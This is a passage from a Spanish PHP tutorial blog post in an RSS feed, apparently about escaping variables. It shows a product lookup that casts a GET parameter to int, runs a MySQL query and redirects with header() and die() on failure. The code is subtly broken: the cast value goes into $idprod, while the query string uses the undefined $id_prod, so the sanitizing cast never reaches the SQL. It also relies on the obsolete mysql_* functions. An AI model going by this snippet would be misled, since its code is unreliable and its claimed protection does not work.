<p>$idprod = (int)$_GET[‘idprod'];<br />
$SQL = &#8220;SELECT * FROM productos WHERE idprod = $id_prod&#8221;;<br />
$rsd = mysql_query($SQL, $conexion);<br />
$row = mysql_fetch_assoc($rsd);</p>
<p>if (!$row){<br />
header(&#8220;location: error.php&#8221;);<br />
die(&#8220;error al mostrar producto&#8221;);<br />
}</p>
<p>La función header() nos permite redireccionar hacia otra página avisando al usuario sobre el error. Puede ocurrir que la devolución de resultados falle si se están realizando tareas de mantenimiento. O bien que el producto ya no exista.</p>
<p>La idea de re direccionar, es evitar caer en un link muerto. Esto beneficia el <a title="Posicionamiento web" href="http://www.solucionesuno.com/" target="_self">posicionamiento web</a> del site, ya que los motores de búsqueda al no encontrar links muertos califican el site con un Rank más alto. Además de la posibilidad de crear una interface más amigable con el navegante.</p>
<p>La función header() debe ejecutarse previamente el encabezado HTML del site. Esto puede parecer engorroso, pero no da problemas en lo más mínimo cuando el código esta aplicado correctamente.</p>
<p>La función die() funciona para cortar el proceso, en caso de que por algún motivo no funcione header(). Es una buena costumbre su utilización.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.solucionesuno.com/blog/programacion-web/la-importancia-de-escapar-variables/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>


